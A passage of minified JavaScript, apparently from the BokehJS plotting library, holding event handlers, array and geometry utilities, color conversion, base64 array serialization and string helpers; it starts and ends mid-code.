i.__assign({type:t.type},this._get_sxy(t),{delta:n.getDeltaY(t)})},t.prototype._key_event=function(t){return{type:t.type,keyCode:t.keyCode}},t.prototype._pan_start=function(t){var e=this._gesture_event(t);e.sx-=t.deltaX,e.sy-=t.deltaY,this._trigger(this.pan_start,e,t.srcEvent)},t.prototype._pan=function(t){this._trigger(this.pan,this._gesture_event(t),t.srcEvent)},t.prototype._pan_end=function(t){this._trigger(this.pan_end,this._gesture_event(t),t.srcEvent)},t.prototype._pinch_start=function(t){this._trigger(this.pinch_start,this._gesture_event(t),t.srcEvent)},t.prototype._pinch=function(t){this._trigger(this.pinch,this._gesture_event(t),t.srcEvent)},t.prototype._pinch_end=function(t){this._trigger(this.pinch_end,this._gesture_event(t),t.srcEvent)},t.prototype._rotate_start=function(t){this._trigger(this.rotate_start,this._gesture_event(t),t.srcEvent)},t.prototype._rotate=function(t){this._trigger(this.rotate,this._gesture_event(t),t.srcEvent)},t.prototype._rotate_end=function(t){this._trigger(this.rotate_end,this._gesture_event(t),t.srcEvent)},t.prototype._tap=function(t){this._trigger(this.tap,this._tap_event(t),t.srcEvent)},t.prototype._doubletap=function(t){var e=this._tap_event(t);this._trigger_bokeh_event(e),this.trigger(this.doubletap,e)},t.prototype._press=function(t){this._trigger(this.press,this._tap_event(t),t.srcEvent)},t.prototype._mouse_enter=function(t){this._trigger(this.move_enter,this._move_event(t),t)},t.prototype._mouse_move=function(t){this._trigger(this.move,this._move_event(t),t)},t.prototype._mouse_exit=function(t){this._trigger(this.move_exit,this._move_event(t),t)},t.prototype._mouse_wheel=function(t){this._trigger(this.scroll,this._scroll_event(t),t)},t.prototype._key_down=function(t){this.trigger(this.keydown,this._key_event(t))},t.prototype._key_up=function(t){this.trigger(this.keyup,this._key_event(t))},t}();d.UIEvents=c},function(t,e,n){var o=t(31),u=t(23),i=t(22);n.min=i.min,n.minBy=i.minBy,n.max=i.max,n.maxBy=i.maxBy,n.sum=i.sum;var r=Array.prototype.slice;function s(t){var e;return(e=[]).concat.apply(e,t)}function c(t,e){return-1!==t.indexOf(e)}function a(t,e,i){void 0===i&&(i=1),u.assert(0<i,\\\"'step' must be a positive number\\\"),null==e&&(e=t,t=0);for(var n=Math.max,r=Math.ceil,o=Math.abs,s=t<=e?i:-i,a=n(r(o(e-t)/i),0),l=Array(a),h=0;h<a;h++,t+=s)l[h]=t;return l}function l(r){return function(t,e){for(var i=t.length,n=0<r?0:i-1;0<=n&&n<i;n+=r)if(e(t[n]))return n;return-1}}function h(t){for(var e=[],i=0,n=t;i<n.length;i++){var r=n[i];c(e,r)||e.push(r)}return e}n.head=function(t){return t[0]},n.tail=function(t){return t[t.length-1]},n.last=function(t){return t[t.length-1]},n.copy=function(t){return r.call(t)},n.concat=s,n.includes=c,n.contains=c,n.nth=function(t,e){return t[0<=e?e:t.length+e]},n.zip=function(t,e){for(var i=Math.min(t.length,e.length),n=new Array(i),r=0;r<i;r++)n[r]=[t[r],e[r]];return n},n.unzip=function(t){for(var e,i=t.length,n=new Array(i),r=new Array(i),o=0;o<i;o++)e=t[o],n[o]=e[0],r[o]=e[1];return[n,r]},n.range=a,n.linspace=function(t,e,i){void 0===i&&(i=100);for(var n=(e-t)/(i-1),r=new Array(i),o=0;o<i;o++)r[o]=t+n*o;return r},n.transpose=function(t){for(var e=t.length,i=t[0].length,n=[],r=0;r<i;r++){n[r]=[];for(var o=0;o<e;o++)n[r][o]=t[o][r]}return n},n.cumsum=function(t){var n=[];return t.reduce(function(t,e,i){return n[i]=t+e},0),n},n.argmin=function(e){return i.minBy(a(e.length),function(t){return e[t]})},n.argmax=function(e){return i.maxBy(a(e.length),function(t){return e[t]})},n.all=function(t,e){for(var i=0,n=t;i<n.length;i++){var r=n[i];if(!e(r))return!1}return!0},n.any=function(t,e){for(var i=0,n=t;i<n.length;i++){var r=n[i];if(e(r))return!0}return!1},n.findIndex=l(1),n.findLastIndex=l(-1),n.find=function(t,e){var i=n.findIndex(t,e);return-1==i?void 0:t[i]},n.findLast=function(t,e){var i=n.findLastIndex(t,e);return-1==i?void 0:t[i]},n.sortedIndex=function(t,e){for(var i=0,n=t.length;i<n;){var r=Math.floor((i+n)/2);t[r]<e?i=r+1:n=r}return i},n.sortBy=function(t,i){var e=t.map(function(t,e){return{value:t,index:e,key:i(t)}});return e.sort(function(t,e){var i=t.key,n=e.key;if(i!==n){if(n<i||void 0===i)return 1;if(i<n||void 0===n)return-1}return t.index-e.index}),e.map(function(t){return t.value})},n.uniq=h,n.uniqBy=function(t,e){for(var i=[],n=[],r=0,o=t;r<o.length;r++){var s=o[r],a=e(s);c(n,a)||(n.push(a),i.push(s))}return i},n.union=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return h(s(t))},n.intersection=function(t){for(var e=[],i=1;i<arguments.length;i++)e[i-1]=arguments[i];var n=[];t:for(var r=0,o=t;r<o.length;r++){var s=o[r];if(!c(n,s)){for(var a=0,l=e;a<l.length;a++){var h=l[a];if(!c(h,s))continue t}n.push(s)}}return n},n.difference=function(t){for(var e=[],i=1;i<arguments.length;i++)e[i-1]=arguments[i];var n=s(e);return t.filter(function(t){return!c(n,t)})},n.removeBy=function(t,e){for(var i=0;i<t.length;)e(t[i])?t.splice(i,1):i++},n.shuffle=function(t){for(var e=t.length,i=new Array(e),n=0;n<e;n++){var r=o.randomIn(0,n);r!==n&&(i[n]=i[r]),i[r]=t[n]}return i},n.pairwise=function(t,e){for(var i=t.length,n=new Array(i-1),r=0;r<i-1;r++)n[r]=e(t[r],t[r+1]);return n},n.reversed=function(t){for(var e=t.length,i=new Array(e),n=0;n<e;n++)i[e-n-1]=t[n];return i},n.repeat=function(t,e){for(var i=new Array(e),n=0;n<e;n++)i[n]=t;return i}},function(t,e,i){function n(t,e,i){for(var n=[],r=3;r<arguments.length;r++)n[r-3]=arguments[r];var o=t.length;e<0&&(e+=o),e<0?e=0:o<e&&(e=o),null==i||o-e<i?i=o-e:i<0&&(i=0);for(var s=o-i+n.length,a=new t.constructor(s),l=0;l<e;l++)a[l]=t[l];for(var h=0,u=n;h<u.length;h++){var c=u[h];a[l++]=c}for(var _=e+i;_<o;_++)a[l++]=t[_];return a}i.splice=n,i.insert=function(t,e,i){return n(t,i,0,e)},i.append=function(t,e){return n(t,t.length,0,e)},i.prepend=function(t,e){return n(t,0,0,e)},i.indexOf=function(t,e){for(var i=0,n=t.length;i<n;i++)if(t[i]===e)return i;return-1},i.map=function(t,e){for(var i=t.length,n=new t.constructor(i),r=0;r<i;r++)n[r]=e(t[r],r,t);return n},i.min=function(t){for(var e,i=1/0,n=0,r=t.length;n<r;n++)(e=t[n])<i&&(i=e);return i},i.minBy=function(t,e){if(0==t.length)throw new Error(\\\"minBy() called with an empty array\\\");for(var i=t[0],n=e(i),r=1,o=t.length;r<o;r++){var s=t[r],a=e(s);a<n&&(i=s,n=a)}return i},i.max=function(t){for(var e,i=-1/0,n=0,r=t.length;n<r;n++)e=t[n],i<e&&(i=e);return i},i.maxBy=function(t,e){if(0==t.length)throw new Error(\\\"maxBy() called with an empty array\\\");for(var i=t[0],n=e(i),r=1,o=t.length;r<o;r++){var s=t[r],a=e(s);n<a&&(i=s,n=a)}return i},i.sum=function(t){for(var e=0,i=0,n=t.length;i<n;i++)e+=t[i];return e}},function(t,e,i){var n=t(391),r=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(Error);i.AssertionError=r,i.assert=function(t,e){if(!(!0===t||!1!==t&&t()))throw new r(e||\\\"Assertion failed\\\")}},function(t,e,i){var n=Math.min,r=Math.max;i.empty=function(){return{minX:1/0,minY:1/0,maxX:-1/0,maxY:-1/0}},i.positive_x=function(){return{minX:Number.MIN_VALUE,minY:-1/0,maxX:1/0,maxY:1/0}},i.positive_y=function(){return{minX:-1/0,minY:Number.MIN_VALUE,maxX:1/0,maxY:1/0}},i.union=function(t,e){return{minX:n(t.minX,e.minX),maxX:r(t.maxX,e.maxX),minY:n(t.minY,e.minY),maxY:r(t.maxY,e.maxY)}};var o=function(){function e(t){if(\\\"x0\\\"in t&&\\\"y0\\\"in t&&\\\"x1\\\"in t&&\\\"y1\\\"in t){var e=t,i=e.x0,n=e.y0,r=e.x1,o=e.y1;if(!(i<=r&&n<=o))throw new Error(\\\"invalid bbox {x0: \\\"+i+\\\", y0: \\\"+n+\\\", x1: \\\"+r+\\\", y1: \\\"+o+\\\"}\\\");this.x0=i,this.y0=n,this.x1=r,this.y1=o}else{var s=t,a=s.x,l=s.y,h=s.width,u=s.height;if(!(0<=h&&0<=u))throw new Error(\\\"invalid bbox {x: \\\"+a+\\\", y: \\\"+l+\\\", width: \\\"+h+\\\", height: \\\"+u+\\\"}\\\");this.x0=a,this.y0=l,this.x1=a+h,this.y1=l+u}}return Object.defineProperty(e.prototype,\\\"minX\\\",{get:function(){return this.x0},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"minY\\\",{get:function(){return this.y0},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"maxX\\\",{get:function(){return this.x1},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"maxY\\\",{get:function(){return this.y1},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"left\\\",{get:function(){return this.x0},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"top\\\",{get:function(){return this.y0},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"right\\\",{get:function(){return this.x1},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"bottom\\\",{get:function(){return this.y1},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"p0\\\",{get:function(){return[this.x0,this.y0]},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"p1\\\",{get:function(){return[this.x1,this.y1]},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"x\\\",{get:function(){return this.x0},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"y\\\",{get:function(){return this.y0},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"width\\\",{get:function(){return this.x1-this.x0},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"height\\\",{get:function(){return this.y1-this.y0},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"rect\\\",{get:function(){return{x:this.x,y:this.y,width:this.width,height:this.height}},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"h_range\\\",{get:function(){return{start:this.x0,end:this.x1}},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"v_range\\\",{get:function(){return{start:this.y0,end:this.y1}},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"ranges\\\",{get:function(){return[this.h_range,this.v_range]},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"aspect\\\",{get:function(){return this.width/this.height},enumerable:!0,configurable:!0}),e.prototype.contains=function(t,e){return t>=this.x0&&t<=this.x1&&e>=this.y0&&e<=this.y1},e.prototype.clip=function(t,e){return t<this.x0?t=this.x0:t>this.x1&&(t=this.x1),e<this.y0?e=this.y0:e>this.y1&&(e=this.y1),[t,e]},e.prototype.union=function(t){return new e({x0:n(this.x0,t.x0),y0:n(this.y0,t.y0),x1:r(this.x1,t.x1),y1:r(this.y1,t.y1)})},e}();i.BBox=o},function(t,e,i){i.delay=function(t,e){return setTimeout(t,e)};var n=\\\"function\\\"==typeof requestAnimationFrame?requestAnimationFrame:setImmediate;i.defer=function(t){return n(t)},i.throttle=function(i,n,r){void 0===r&&(r={});var o,s,a,l=null,h=0,u=function(){h=!1===r.leading?0:Date.now(),l=null,a=i.apply(o,s),l||(o=s=null)};return function(){var t=Date.now();h||!1!==r.leading||(h=t);var e=n-(t-h);return o=this,s=arguments,e<=0||n<e?(l&&(clearTimeout(l),l=null),h=t,a=i.apply(o,s),l||(o=s=null)):l||!1===r.trailing||(l=setTimeout(u,e)),a}},i.once=function(t){var e,i=!1;return function(){return i||(i=!0,e=t()),e}}},function(t,e,i){var n=t(287);i.SVGRenderingContext2D=n,i.fixup_ctx=function(t){var e,c,i,n,r;(e=t).setLineDash||(e.setLineDash=function(t){e.mozDash=t,e.webkitLineDash=t}),e.getLineDash||(e.getLineDash=function(){return e.mozDash}),(r=t).setLineDashOffset=function(t){r.lineDashOffset=t,r.mozDashOffset=t,r.webkitLineDashOffset=t},r.getLineDashOffset=function(){return r.mozDashOffset},(n=t).setImageSmoothingEnabled=function(t){n.imageSmoothingEnabled=t,n.mozImageSmoothingEnabled=t,n.oImageSmoothingEnabled=t,n.webkitImageSmoothingEnabled=t,n.msImageSmoothingEnabled=t},n.getImageSmoothingEnabled=function(){var t=n.imageSmoothingEnabled;return null==t||t},(i=t).measureText&&null==i.html5MeasureText&&(i.html5MeasureText=i.measureText,i.measureText=function(t){var e=i.html5MeasureText(t);return e.ascent=1.6*i.html5MeasureText(\\\"m\\\").width,e}),(c=t).ellipse||(c.ellipse=function(t,e,i,n,r,o,s,a){void 0===a&&(a=!1);var l=.551784;c.translate(t,e),c.rotate(r);var h=i,u=n;a&&(h=-i,u=-n),c.moveTo(-h,0),c.bezierCurveTo(-h,u*l,-h*l,u,0,u),c.bezierCurveTo(h*l,u,h,u*l,h,0),c.bezierCurveTo(h,-u*l,h*l,-u,0,-u),c.bezierCurveTo(-h*l,-u,-h,-u*l,-h,0),c.rotate(-r),c.translate(-t,-e)})},i.get_scale_ratio=function(t,e,i){if(\\\"svg\\\"==i)return 1;if(e){var n=window.devicePixelRatio||1,r=t.webkitBackingStorePixelRatio||t.mozBackingStorePixelRatio||t.msBackingStorePixelRatio||t.oBackingStorePixelRatio||t.backingStorePixelRatio||1;return n/r}return 1}},function(t,e,i){var n=t(39),r=t(21);function o(t){var e=Number(t).toString(16);return 1==e.length?\\\"0\\\"+e:e}function s(t){if(0==(t+=\\\"\\\").indexOf(\\\"#\\\"))return t;if(n.is_svg_color(t))return n.svg_colors[t];if(0==t.indexOf(\\\"rgb\\\")){var e=t.replace(/^rgba?\\\\(|\\\\s+|\\\\)$/g,\\\"\\\").split(\\\",\\\"),i=e.slice(0,3).map(o).join(\\\"\\\");return 4==e.length&&(i+=o(Math.floor(255*parseFloat(e[3])))),\\\"#\\\"+i.slice(0,8)}return t}i.color2hex=s,i.color2rgba=function(t,e){if(void 0===e&&(e=1),!t)return[0,0,0,0];var i=s(t);(i=i.replace(/ |#/g,\\\"\\\")).length<=4&&(i=i.replace(/(.)/g,\\\"$1$1\\\"));for(var n=i.match(/../g).map(function(t){return parseInt(t,16)/255});n.length<3;)n.push(0);return n.length<4&&n.push(e),n.slice(0,4)},i.valid_rgb=function(t){var e;switch(t.substring(0,4)){case\\\"rgba\\\":e={start:\\\"rgba(\\\",len:4,alpha:!0};break;case\\\"rgb(\\\":e={start:\\\"rgb(\\\",len:3,alpha:!1};break;default:return!1}if(new RegExp(\\\".*?(\\\\\\\\.).*(,)\\\").test(t))throw new Error(\\\"color expects integers for rgb in rgb/rgba tuple, received \\\"+t);var i=t.replace(e.start,\\\"\\\").replace(\\\")\\\",\\\"\\\").split(\\\",\\\").map(parseFloat);if(i.length!=e.len)throw new Error(\\\"color expects rgba \\\"+e.len+\\\"-tuple, received \\\"+t);if(e.alpha&&!(0<=i[3]&&i[3]<=1))throw new Error(\\\"color expects rgba 4-tuple to have alpha value between 0 and 1\\\");if(r.includes(i.slice(0,3).map(function(t){return 0<=t&&t<=255}),!1))throw new Error(\\\"color expects rgb to have value between 0 and 255\\\");return!0}},function(t,e,i){i.is_ie=0<=navigator.userAgent.indexOf(\\\"MSIE\\\")||0<navigator.userAgent.indexOf(\\\"Trident\\\")||0<navigator.userAgent.indexOf(\\\"Edge\\\"),i.is_little_endian=function(){var t=new ArrayBuffer(4),e=new Uint8Array(t),i=new Uint32Array(t);i[1]=168496141;var n=!0;return 10==e[4]&&11==e[5]&&12==e[6]&&13==e[7]&&(n=!1),n}()},function(t,e,i){var r=t(21),o=t(30),s=t(44),n=function(){function t(){this._dict={}}return t.prototype._existing=function(t){return t in this._dict?this._dict[t]:null},t.prototype.add_value=function(t,e){var i=this._existing(t);null==i?this._dict[t]=e:s.isArray(i)?i.push(e):this._dict[t]=[i,e]},t.prototype.remove_value=function(t,e){var i=this._existing(t);if(s.isArray(i)){var n=r.difference(i,[e]);0<n.length?this._dict[t]=n:delete this._dict[t]}else o.isEqual(i,e)&&delete this._dict[t]},t.prototype.get_one=function(t,e){var i=this._existing(t);if(s.isArray(i)){if(1===i.length)return i[0];throw new Error(e)}return i},t}();i.MultiDict=n;var a=function(){function o(t){if(null==t)this._values=[];else if(t instanceof o)this._values=r.copy(t._values);else{this._values=[];for(var e=0,i=t;e<i.length;e++){var n=i[e];this.add(n)}}}return Object.defineProperty(o.prototype,\\\"values\\\",{get:function(){return r.copy(this._values).sort()},enumerable:!0,configurable:!0}),o.prototype.toString=function(){return\\\"Set([\\\"+this.values.join(\\\",\\\")+\\\"])\\\"},Object.defineProperty(o.prototype,\\\"size\\\",{get:function(){return this._values.length},enumerable:!0,configurable:!0}),o.prototype.has=function(t){return-1!==this._values.indexOf(t)},o.prototype.add=function(t){this.has(t)||this._values.push(t)},o.prototype.remove=function(t){var e=this._values.indexOf(t);-1!==e&&this._values.splice(e,1)},o.prototype.toggle=function(t){var e=this._values.indexOf(t);-1===e?this._values.push(t):this._values.splice(e,1)},o.prototype.clear=function(){this._values=[]},o.prototype.union=function(t){return t=new o(t),new o(this._values.concat(t._values))},o.prototype.intersect=function(t){t=new o(t);for(var e=new o,i=0,n=t._values;i<n.length;i++){var r=n[i];this.has(r)&&t.has(r)&&e.add(r)}return e},o.prototype.diff=function(t){t=new o(t);for(var e=new o,i=0,n=this._values;i<n.length;i++){var r=n[i];t.has(r)||e.add(r)}return e},o.prototype.forEach=function(t,e){for(var i=0,n=this._values;i<n.length;i++){var r=n[i];t.call(e||this,r,r,this)}},o}();i.Set=a},function(t,e,i){var _=t(44),p=Object.prototype.toString;i.isEqual=function(t,e){return function t(e,i,n,r){if(e===i)return 0!==e||1/e==1/i;if(null==e||null==i)return e===i;var o=p.call(e);if(o!==p.call(i))return!1;switch(o){case\\\"[object RegExp]\\\":case\\\"[object String]\\\":return\\\"\\\"+e==\\\"\\\"+i;case\\\"[object Number]\\\":return+e!=+e?+i!=+i:0==+e?1/+e==1/i:+e==+i;case\\\"[object Date]\\\":case\\\"[object Boolean]\\\":return+e==+i}var s=\\\"[object Array]\\\"===o;if(!s){if(\\\"object\\\"!=typeof e||\\\"object\\\"!=typeof i)return!1;var a=e.constructor,l=i.constructor;if(a!==l&&!(_.isFunction(a)&&a instanceof a&&_.isFunction(l)&&l instanceof l)&&\\\"constructor\\\"in e&&\\\"constructor\\\"in i)return!1}r=r||[];for(var h=(n=n||[]).length;h--;)if(n[h]===e)return r[h]===i;if(n.push(e),r.push(i),s){if((h=e.length)!==i.length)return!1;for(;h--;)if(!t(e[h],i[h],n,r))return!1}else{var u=Object.keys(e),c=void 0;if(h=u.length,Object.keys(i).length!==h)return!1;for(;h--;)if(c=u[h],!i.hasOwnProperty(c)||!t(e[c],i[c],n,r))return!1}return n.pop(),r.pop(),!0}(t,e)}},function(t,e,i){function a(t){for(;t<0;)t+=2*Math.PI;for(;t>2*Math.PI;)t-=2*Math.PI;return t}function l(t,e){return Math.abs(a(t-e))}function o(){return Math.random()}i.angle_norm=a,i.angle_dist=l,i.angle_between=function(t,e,i,n){var r=a(t),o=l(e,i),s=l(e,r)<=o&&l(r,i)<=o;return 1==n?!s:s},i.random=o,i.randomIn=function(t,e){return null==e&&(e=t,t=0),t+Math.floor(Math.random()*(e-t+1))},i.atan2=function(t,e){return Math.atan2(e[1]-t[1],e[0]-t[0])},i.rnorm=function(t,e){for(var i,n;i=o(),n=(2*(n=o())-1)*Math.sqrt(1/Math.E*2),!(-4*i*i*Math.log(i)>=n*n););var r=n/i;return r=t+e*r},i.clamp=function(t,e,i){return i<t?i:t<e?e:t}},function(t,e,i){var n=t(391),h=t(21);function r(t,e){return n.__assign(t,e)}function o(t){return Object.keys(t).length}i.keys=Object.keys,i.values=function(t){for(var e=Object.keys(t),i=e.length,n=new Array(i),r=0;r<i;r++)n[r]=t[e[r]];return n},i.extend=r,i.clone=function(t){return r({},t)},i.merge=function(t,e){for(var i=Object.create(Object.prototype),n=h.concat([Object.keys(t),Object.keys(e)]),r=0,o=n;r<o.length;r++){var s=o[r],a=t.hasOwnProperty(s)?t[s]:[],l=e.hasOwnProperty(s)?e[s]:[];i[s]=h.union(a,l)}return i},i.size=o,i.isEmpty=function(t){return 0===o(t)}},function(t,e,h){var i=t(374),n=t(362),r=new n(\\\"GOOGLE\\\"),o=new n(\\\"WGS84\\\");h.wgs84_mercator=i(o,r);var s={lon:[-20026376.39,20026376.39],lat:[-20048966.1,20048966.1]},a={lon:[-180,180],lat:[-85.06,85.06]};function u(t,e){for(var i=Math.min(t.length,e.length),n=new Array(i),r=new Array(i),o=0;o<i;o++){var s=h.wgs84_mercator.forward([t[o],e[o]]),a=s[0],l=s[1];n[o]=a,r[o]=l}return[n,r]}h.clip_mercator=function(t,e,i){var n=s[i],r=n[0],o=n[1];return[Math.max(t,r),Math.min(e,o)]},h.in_bounds=function(t,e){return t>a[e][0]&&t<a[e][1]},h.project_xy=u,h.project_xsys=function(t,e){for(var i=Math.min(t.length,e.length),n=new Array(i),r=new Array(i),o=0;o<i;o++){var s=u(t[o],e[o]),a=s[0],l=s[1];n[o]=a,r[o]=l}return[n,r]}},function(t,e,i){var n=t(44);i.create_ref=function(t){var e={type:t.type,id:t.id};return null!=t._subtype&&(e.subtype=t._subtype),e},i.is_ref=function(t){if(n.isObject(t)){var e=Object.keys(t).sort();if(2==e.length)return\\\"id\\\"==e[0]&&\\\"type\\\"==e[1];if(3==e.length)return\\\"id\\\"==e[0]&&\\\"subtype\\\"==e[1]&&\\\"type\\\"==e[2]}return!1}},function(t,e,i){i.get_indices=function(t){var e=t.selected;return e[\\\"0d\\\"].glyph?e[\\\"0d\\\"].indices:0<e[\\\"1d\\\"].indices.length?e[\\\"1d\\\"].indices:0<e[\\\"2d\\\"].indices.length?e[\\\"2d\\\"].indices:[]}},function(t,e,u){var _=t(44),i=t(28);function c(t){for(var e=new Uint8Array(t.buffer,t.byteOffset,2*t.length),i=0,n=e.length;i<n;i+=2){var r=e[i];e[i]=e[i+1],e[i+1]=r}}function p(t){for(var e=new Uint8Array(t.buffer,t.byteOffset,4*t.length),i=0,n=e.length;i<n;i+=4){var r=e[i];e[i]=e[i+3],e[i+3]=r,r=e[i+1],e[i+1]=e[i+2],e[i+2]=r}}function d(t){for(var e=new Uint8Array(t.buffer,t.byteOffset,8*t.length),i=0,n=e.length;i<n;i+=8){var r=e[i];e[i]=e[i+7],e[i+7]=r,r=e[i+1],e[i+1]=e[i+6],e[i+6]=r,r=e[i+2],e[i+2]=e[i+5],e[i+5]=r,r=e[i+3],e[i+3]=e[i+4],e[i+4]=r}}function n(t,e){for(var i=t.order!==u.BYTE_ORDER,n=t.shape,r=null,o=0,s=e;o<s.length;o++){var a=s[o],l=JSON.parse(a[0]);if(l.id===t.__buffer__){r=a[1];break}}var h=new u.ARRAY_TYPES[t.dtype](r);return i&&(2===h.BYTES_PER_ELEMENT?c(h):4===h.BYTES_PER_ELEMENT?p(h):8===h.BYTES_PER_ELEMENT&&d(h)),[h,n]}function f(t,e){return _.isObject(t)&&\\\"__ndarray__\\\"in t?o(t):_.isObject(t)&&\\\"__buffer__\\\"in t?n(t,e):_.isArray(t)||_.isTypedArray(t)?[t,[]]:void 0}function s(t){var e=new Uint8Array(t),i=Array.from(e).map(function(t){return String.fromCharCode(t)});return btoa(i.join(\\\"\\\"))}function r(t){for(var e=atob(t),i=e.length,n=new Uint8Array(i),r=0,o=i;r<o;r++)n[r]=e.charCodeAt(r);return n.buffer}function o(t){var e=r(t.__ndarray__),i=t.dtype,n=t.shape;if(!(i in u.ARRAY_TYPES))throw new Error(\\\"unknown dtype: \\\"+i);return[new u.ARRAY_TYPES[i](e),n]}function a(t,e){var i,n=s(t.buffer),r=function(t){if(\\\"name\\\"in t.constructor)return t.constructor.name;switch(!0){case t instanceof Uint8Array:return\\\"Uint8Array\\\";case t instanceof Int8Array:return\\\"Int8Array\\\";case t instanceof Uint16Array:return\\\"Uint16Array\\\";case t instanceof Int16Array:return\\\"Int16Array\\\";case t instanceof Uint32Array:return\\\"Uint32Array\\\";case t instanceof Int32Array:return\\\"Int32Array\\\";case t instanceof Float32Array:return\\\"Float32Array\\\";case t instanceof Float64Array:return\\\"Float64Array\\\";default:throw new Error(\\\"unsupported typed array\\\")}}(t);if(!(r in u.DTYPES))throw new Error(\\\"unknown array type: \\\"+r);i=u.DTYPES[r];var o={__ndarray__:n,shape:e,dtype:i};return o}function v(t,e){if(0==t.length||!_.isObject(t[0])&&!_.isArray(t[0]))return[t,[]];for(var i=[],n=[],r=0,o=t;r<o.length;r++){var s=o[r],a=_.isArray(s)?v(s,e):f(s,e),l=a[0],h=a[1];i.push(l),n.push(h)}var u=n.map(function(t){return t.filter(function(t){return 0!=t.length})});return[i,u]}function l(t,e){for(var i=[],n=0,r=t.length;n<r;n++){var o=t[n];if(_.isTypedArray(o)){var s=e[n]?e[n]:void 0;i.push(a(o,s))}else _.isArray(o)?i.push(l(o,e?e[n]:[])):i.push(o)}return i}u.ARRAY_TYPES={uint8:Uint8Array,int8:Int8Array,uint16:Uint16Array,int16:Int16Array,uint32:Uint32Array,int32:Int32Array,float32:Float32Array,float64:Float64Array},u.DTYPES={Uint8Array:\\\"uint8\\\",Int8Array:\\\"int8\\\",Uint16Array:\\\"uint16\\\",Int16Array:\\\"int16\\\",Uint32Array:\\\"uint32\\\",Int32Array:\\\"int32\\\",Float32Array:\\\"float32\\\",Float64Array:\\\"float64\\\"},u.BYTE_ORDER=i.is_little_endian?\\\"little\\\":\\\"big\\\",u.swap16=c,u.swap32=p,u.swap64=d,u.process_buffer=n,u.process_array=f,u.arrayBufferToBase64=s,u.base64ToArrayBuffer=r,u.decode_base64=o,u.encode_base64=a,u.decode_column_data=function(t,e){void 0===e&&(e=[]);var i={},n={};for(var r in t){var o=t[r];if(_.isArray(o)){if(0==o.length||!_.isObject(o[0])&&!_.isArray(o[0])){i[r]=o;continue}var s=v(o,e),a=s[0],l=s[1];i[r]=a,n[r]=l}else{var h=f(o,e),u=h[0],c=h[1];i[r]=u,n[r]=c}}return[i,n]},u.encode_column_data=function(t,e){var i={};for(var n in t){var r=t[n],o=null!=e?e[n]:void 0,s=void 0;s=_.isTypedArray(r)?a(r,o):_.isArray(r)?l(r,o||[]):r,i[n]=s}return i}},function(t,e,i){var l=t(346),o=t(24),n=function(){function t(t){if(this.points=t,this.index=null,0<t.length){this.index=new l(t.length);for(var e=0,i=t;e<i.length;e++){var n=i[e],r=n.minX,o=n.minY,s=n.maxX,a=n.maxY;this.index.add(r,o,s,a)}this.index.finish()}}return Object.defineProperty(t.prototype,\\\"bbox\\\",{get:function(){if(null==this.index)return o.empty();var t=this.index,e=t.minX,i=t.minY,n=t.maxX,r=t.maxY;return{minX:e,minY:i,maxX:n,maxY:r}},enumerable:!0,configurable:!0}),t.prototype.search=function(t){var e=this;if(null==this.index)return[];var i=t.minX,n=t.minY,r=t.maxX,o=t.maxY,s=this.index.search(i,n,r,o);return s.map(function(t){return e.points[t]})},t.prototype.indices=function(t){return this.search(t).map(function(t){var e=t.i;return e})},t}();i.SpatialIndex=n},function(t,e,i){var n=t(18);function r(){for(var t=new Array(32),e=\\\"0123456789ABCDEF\\\",i=0;i<32;i++)t[i]=e.substr(Math.floor(16*Math.random()),1);return t[12]=\\\"4\\\",t[16]=e.substr(3&t[16].charCodeAt(0)|8,1),t.join(\\\"\\\")}i.startsWith=function(t,e,i){return void 0===i&&(i=0),t.substr(i,e.length)==e},i.uuid4=r;var o=1e3;i.uniqueId=function(t){var e=n.settings.dev?\\\"j\\\"+o++:r();return null!=t?t+\\\"-\\\"+e:e},i.escape=function(t){return t.replace(/(?:[&<>\\\"'`])/g,function(t){switch(t){case\\\"&\\\":return\\\"&amp;\\\";case\\\"<\\\":return\\\"&lt;\\\";case\\\">\\\":return\\\"&gt;\\\";case'\\\"':return\\\"&quot;\\\";case\\\"'\\\":return\\\"&#x27;\\\";case\\\"`\\\":return\\\"&#x60;\\\";default:return t}})},i.unescape=function(t){return t.replace(/&(amp|lt|gt|quot|#x27|#x60);/g,function(t,e){switch(e){case\\\"amp\\\":return\\\"&\\\";case\\\"lt\\\":return\\\"<\\\";case\\\"gt\\\":return\\\">\\\";case\\\"quot\\\":return'\\\"';case\\\"#x27\\\":return\\\"'\\\";case\\\"#x60\\\":return\\\"`\\\";default:return e}})},i.use_strict=function(t){return\\\"'use 